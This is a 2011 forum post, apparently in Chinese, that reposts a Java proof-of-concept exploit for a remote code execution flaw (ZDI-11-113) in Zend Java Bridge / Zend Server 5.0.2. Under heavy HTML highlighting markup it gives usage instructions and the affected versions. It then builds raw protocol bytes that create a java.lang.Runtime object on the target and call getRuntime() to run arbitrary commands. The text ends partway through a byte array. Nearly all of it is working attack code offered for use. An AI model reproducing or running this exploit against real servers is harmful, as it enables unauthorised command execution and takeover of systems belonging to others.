oma 发表于 2011-12-20 09:47

Zend Java Bridge - 远程代码执行(ZDI-11-113)

<DIV></DIV>
<TABLE style="BORDER-COLLAPSE: collapse" border=1 cellSpacing=0 borderColor=#999999 cellPadding=0 width="95%" bgColor=#f1f1f1>
<TBODY>
<TR>
<TD>
<P style="LINE-HEIGHT: 150%; MARGIN: 5px"><CODE><SPAN style="COLOR: #000000">001 /<SPAN style="COLOR: #0000cc">*</SPAN> <BR><BR>002 <SPAN style="COLOR: #0000cc">*</SPAN> Zend Java Bridge v3<SPAN style="COLOR: #0000cc">.</SPAN>1 <SPAN style="COLOR: #0000cc">-</SPAN> 远程代码执行 <SPAN style="COLOR: #0000cc">(</SPAN>ZDI<SPAN style="COLOR: #0000cc">-</SPAN>11<SPAN style="COLOR: #0000cc">-</SPAN>113<SPAN style="COLOR: #0000cc">)</SPAN> <BR><BR>003 <SPAN style="COLOR: #0000cc">*</SPAN> Copyright <SPAN style="COLOR: #0000cc">(</SPAN>c<SPAN style="COLOR: #0000cc">)</SPAN> 2010 Luca Carettoni <BR><BR>004 <SPAN style="COLOR: #0000cc">*</SPAN> <BR><BR>005 <SPAN style="COLOR: #0000cc">*</SPAN> ZJB<SPAN style="COLOR: #0000cc">.</SPAN>java v0<SPAN style="COLOR: #0000cc">.</SPAN>2 <SPAN style="COLOR: #0000cc">-</SPAN> 4 August 2010 <BR><BR>006 <SPAN style="COLOR: #0000cc">*</SPAN> <BR><BR>007 <SPAN style="COLOR: #0000cc">*</SPAN> <SPAN style="COLOR: #0000cc">[</SPAN>使用方法<SPAN style="COLOR: #0000cc">]</SPAN> <BR><BR>008 <SPAN style="COLOR: #0000cc">*</SPAN> java <SPAN style="COLOR: #0000cc">-</SPAN>jar zjb<SPAN style="COLOR: #0000cc">.</SPAN>jar <SPAN style="COLOR: #0000cc">&lt;</SPAN><SPAN style="COLOR: #ff0000">IP</SPAN><SPAN style="COLOR: #0000cc">&gt;</SPAN> <BR><BR>009 <SPAN style="COLOR: #0000cc">&lt;</SPAN>PORT<SPAN style="COLOR: #0000cc">&gt;</SPAN> <SPAN style="COLOR: #ff00ff">'&lt;CMD&gt;'</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN>Default<SPAN style="COLOR: #0000cc">:</SPAN> 10001/tcp<SPAN style="COLOR: #0000cc">)</SPAN> <BR><BR>010 <SPAN style="COLOR: #0000cc">*</SPAN> <BR><BR>011 <SPAN style="COLOR: #0000cc">*</SPAN> <SPAN style="COLOR: #0000cc">[</SPAN>受影响版本<SPAN style="COLOR: #0000cc">]</SPAN> <BR><BR>012 <SPAN style="COLOR: #0000cc">*</SPAN> Zend Server v5<SPAN style="COLOR: #0000cc">.</SPAN>0<SPAN style="COLOR: #0000cc">.</SPAN>2<SPAN style="COLOR: #0000cc">,</SPAN> Zend Server Community Edition v5<SPAN style="COLOR: #0000cc">.</SPAN>0<SPAN style="COLOR: #0000cc">.</SPAN>2 以及之前的版本 <BR><BR>013 <SPAN style="COLOR: #0000cc">*</SPAN> http<SPAN style="COLOR: #0000cc">:</SPAN><SPAN style="COLOR: #0000cc">/</SPAN><SPAN style="COLOR: #0000cc">/</SPAN>www<SPAN style="COLOR: #0000cc">.</SPAN>zend<SPAN style="COLOR: #0000cc">.</SPAN>com/en/products/server/ <BR><BR>014 <SPAN style="COLOR: #0000cc">*</SPAN> <BR><BR>015 <SPAN style="COLOR: #0000cc">*</SPAN> 所有平台版本均受影响<SPAN style="COLOR: #0000cc">(</SPAN>Windows<SPAN style="COLOR: #0000cc">,</SPAN> Linux<SPAN style="COLOR: #0000cc">,</SPAN> Mac OS X 以及 IBM i<SPAN style="COLOR: #0000cc">)</SPAN> <BR><BR>016 <SPAN style="COLOR: #0000cc">*</SPAN> 例如<SPAN style="COLOR: #0000cc">,</SPAN> 在Windows下选择 <SPAN style="COLOR: #ff00ff">"完全安装"</SPAN> <BR><BR>017 <SPAN style="COLOR: #0000cc">*</SPAN> 通过管理员控制台禁用Zend Java Bridge不能解决该问题 <BR><BR>018 <SPAN style="COLOR: #0000cc">*</SPAN> <BR><BR>019 <SPAN style="COLOR: #0000cc">*</SPAN> Exploit在一下环境中测试成功<SPAN style="COLOR: #0000cc">:</SPAN> <BR><BR>020 <SPAN style="COLOR: #0000cc">*</SPAN> <SPAN style="COLOR: #0000cc">-</SPAN> MS Windows Server 2003<SPAN style="COLOR: #0000cc">,</SPAN> Zend Server 5<SPAN style="COLOR: #0000cc">.</SPAN>0<SPAN style="COLOR: #0000cc">.</SPAN>2 default <SPAN style="COLOR: #ff00ff">"FULL"</SPAN> installation <BR><BR>021 <SPAN style="COLOR: #0000cc">*</SPAN> <SPAN style="COLOR: #0000cc">-</SPAN> Ubuntu 8<SPAN style="COLOR: #0000cc">.</SPAN>10<SPAN style="COLOR: #0000cc">,</SPAN> Zend Server 5<SPAN style="COLOR: #0000cc">.</SPAN>0<SPAN style="COLOR: #0000cc">.</SPAN>2 default installation <SPAN style="COLOR: #0000cc">+</SPAN> <SPAN style="COLOR: #ff00ff">"php-5.3-java-bridge-zend-server"</SPAN> installation <BR><BR>022 <SPAN style="COLOR: #0000cc">*</SPAN> <SPAN style="COLOR: #0000cc">-</SPAN> Ubuntu 8<SPAN style="COLOR: #0000cc">.</SPAN>10<SPAN style="COLOR: #0000cc">,</SPAN> Zend Server 5<SPAN style="COLOR: #0000cc">.</SPAN>0<SPAN style="COLOR: #0000cc">.</SPAN>0 default installation <BR><BR>023 <SPAN style="COLOR: #0000cc">*</SPAN> <BR><BR>024 <SPAN style="COLOR: #0000cc">*</SPAN><SPAN style="COLOR: #0000cc">/</SPAN> <BR><BR>025 <BR><BR>026 package ZJBpoc<SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>027 <BR><BR>028 import java<SPAN style="COLOR: #0000cc">.</SPAN>io<SPAN style="COLOR: #0000cc">.</SPAN>DataInputStream<SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>029 import java<SPAN style="COLOR: #0000cc">.</SPAN>io<SPAN style="COLOR: #0000cc">.</SPAN>DataOutputStream<SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>030 import java<SPAN style="COLOR: #0000cc">.</SPAN>io<SPAN style="COLOR: #0000cc">.</SPAN>IOException<SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>031 import java<SPAN style="COLOR: #0000cc">.</SPAN>net<SPAN style="COLOR: #0000cc">.</SPAN>Socket<SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>032 <BR><BR>033 <SPAN style="COLOR: #0000ff">public</SPAN> class ZJB { <BR><BR>034 <BR><BR>035 private String <SPAN style="COLOR: #ff0000">ip</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>036 private String port<SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>037 private String cmd<SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>038 private Socket socket<SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>039 <BR><BR>040 <SPAN style="COLOR: #0000ff">public</SPAN> ZJB<SPAN style="COLOR: #0000cc">(</SPAN>String <SPAN style="COLOR: #ff0000">ip</SPAN><SPAN style="COLOR: #0000cc">,</SPAN> String port<SPAN style="COLOR: #0000cc">,</SPAN> String cmd<SPAN style="COLOR: #0000cc">)</SPAN> { <BR><BR>041 <SPAN style="COLOR: #0000ff">this</SPAN><SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #ff0000">ip</SPAN> <SPAN style="COLOR: #0000cc">=</SPAN> <SPAN style="COLOR: #ff0000">ip</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>042 <SPAN style="COLOR: #0000ff">this</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>port <SPAN style="COLOR: #0000cc">=</SPAN> port<SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>043 <SPAN style="COLOR: #0000ff">this</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>cmd <SPAN style="COLOR: #0000cc">=</SPAN> cmd<SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>044 <BR><BR>045 try { <BR><BR>046 System<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">out</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>println<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff00ff">"[*] Connecting to "</SPAN> <SPAN style="COLOR: #0000cc">+</SPAN> <SPAN style="COLOR: #0000ff">this</SPAN><SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #ff0000">ip</SPAN> <SPAN style="COLOR: #0000cc">+</SPAN> <SPAN style="COLOR: #ff00ff">":"</SPAN> <SPAN style="COLOR: #0000cc">+</SPAN> <SPAN style="COLOR: #0000ff">this</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>port<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>047 <SPAN style="COLOR: #0000ff">this</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>socket <SPAN style="COLOR: #0000cc">=</SPAN> new Socket<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #0000ff">this</SPAN><SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #ff0000">ip</SPAN><SPAN style="COLOR: #0000cc">,</SPAN> Integer<SPAN style="COLOR: #0000cc">.</SPAN>parseInt<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #0000ff">this</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>port<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>048 } catch <SPAN style="COLOR: #0000cc">(</SPAN>Exception e<SPAN style="COLOR: #0000cc">)</SPAN> { <BR><BR>049 System<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">out</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>println<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff00ff">"[!] Connection error\n"</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>050 System<SPAN style="COLOR: #0000cc">.</SPAN>exit<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #0000cc">-</SPAN>1<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>051 } <BR><BR>052 } <BR><BR>053 <BR><BR>054 <SPAN style="COLOR: #0000ff">public</SPAN> boolean run<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> { <BR><BR>055 <BR><BR>056 System<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">out</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>println<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff00ff">"[*] Creating the Java Object \"</SPAN>java<SPAN style="COLOR: #0000cc">.</SPAN>lang<SPAN style="COLOR: #0000cc">.</SPAN>Runtime\<SPAN style="COLOR: #ff00ff">""</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>057 <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN><SPAN style="COLOR: #0000cc">]</SPAN> createObj <SPAN style="COLOR: #0000cc">=</SPAN> new <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN><SPAN style="COLOR: #0000cc">]</SPAN><SPAN style="COLOR: #0000cc">{</SPAN> <BR><BR>058 //$runtime <SPAN style="COLOR: #0000cc">=</SPAN> new Java<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff00ff">"java.lang.Runtime"</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>059 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x33<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <BR><BR>060 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <BR><BR>061 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x0c<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x43<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x72<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x65<SPAN style="COLOR: #0000cc">,</SPAN> <BR><BR>062 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x61<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x74<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x65<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x4f<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x62<SPAN style="COLOR: #0000cc">,</SPAN> <BR><BR>063 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x6a<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x65<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x63<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x74<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <BR><BR>064 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x02<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x04<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <BR><BR>065 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x11<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x6a<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x61<SPAN style="COLOR: #0000cc">,</SPAN> <BR><BR>066 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x76<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x61<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x2e<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x6c<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x61<SPAN style="COLOR: #0000cc">,</SPAN> <BR><BR>067 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x6e<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x67<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x2e<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x52<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x75<SPAN style="COLOR: #0000cc">,</SPAN> <BR><BR>068 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x6e<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x74<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x69<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x6d<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x65<SPAN style="COLOR: #0000cc">,</SPAN> <BR><BR>069 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x07<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN><SPAN style="COLOR: #0000cc">}</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>070 <BR><BR>071 <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN><SPAN style="COLOR: #0000cc">]</SPAN> idObj <SPAN style="COLOR: #0000cc">=</SPAN> new <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN>4<SPAN style="COLOR: #0000cc">]</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>072 System<SPAN style="COLOR: #0000cc">.</SPAN>arraycopy<SPAN style="COLOR: #0000cc">(</SPAN>sendData<SPAN style="COLOR: #0000cc">(</SPAN>createObj<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">,</SPAN> 5<SPAN style="COLOR: #0000cc">,</SPAN> idObj<SPAN style="COLOR: #0000cc">,</SPAN> 0<SPAN style="COLOR: #0000cc">,</SPAN> 4<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>073 System<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">out</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>println<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff00ff">" [-] Class ID: 0x"</SPAN> <SPAN style="COLOR: #0000cc">+</SPAN> getHex<SPAN style="COLOR: #0000cc">(</SPAN>idObj<SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>074 <BR><BR>075 System<SPAN style="COLOR: #0000cc">.</SPAN><SPAN style="COLOR: #0000ff">out</SPAN><SPAN style="COLOR: #0000cc">.</SPAN>println<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff00ff">"[*] Invoking static method \"</SPAN>getRuntime<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">\</SPAN><SPAN style="COLOR: #ff00ff">""</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>076 <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN><SPAN style="COLOR: #0000cc">]</SPAN> getRuntime <SPAN style="COLOR: #0000cc">=</SPAN> new <SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">[</SPAN><SPAN style="COLOR: #0000cc">]</SPAN><SPAN style="COLOR: #0000cc">{</SPAN> <BR><BR>077 //$getRuntime <SPAN style="COLOR: #0000cc">=</SPAN> $runtime<SPAN style="COLOR: #0000cc">-</SPAN><SPAN style="COLOR: #0000cc">&gt;</SPAN>getRuntime<SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #0000cc">)</SPAN><SPAN style="COLOR: #0000cc">;</SPAN> <BR><BR>078 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x16<SPAN style="COLOR: #0000cc">,</SPAN> <BR><BR>079 idObj<SPAN style="COLOR: #0000cc">[</SPAN>0<SPAN style="COLOR: #0000cc">]</SPAN><SPAN style="COLOR: #0000cc">,</SPAN> idObj<SPAN style="COLOR: #0000cc">[</SPAN>1<SPAN style="COLOR: #0000cc">]</SPAN><SPAN style="COLOR: #0000cc">,</SPAN> idObj<SPAN style="COLOR: #0000cc">[</SPAN>2<SPAN style="COLOR: #0000cc">]</SPAN><SPAN style="COLOR: #0000cc">,</SPAN> idObj<SPAN style="COLOR: #0000cc">[</SPAN>3<SPAN style="COLOR: #0000cc">]</SPAN><SPAN style="COLOR: #0000cc">,</SPAN> //Object ID <BR><BR>080 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x00<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x0a<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x67<SPAN style="COLOR: #0000cc">,</SPAN> <BR><BR>081 <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x65<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x74<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: #0000cc">)</SPAN> 0x52<SPAN style="COLOR: #0000cc">,</SPAN> <SPAN style="COLOR: #0000cc">(</SPAN><SPAN style="COLOR: #ff0000">byte</SPAN><SPAN style="COLOR: 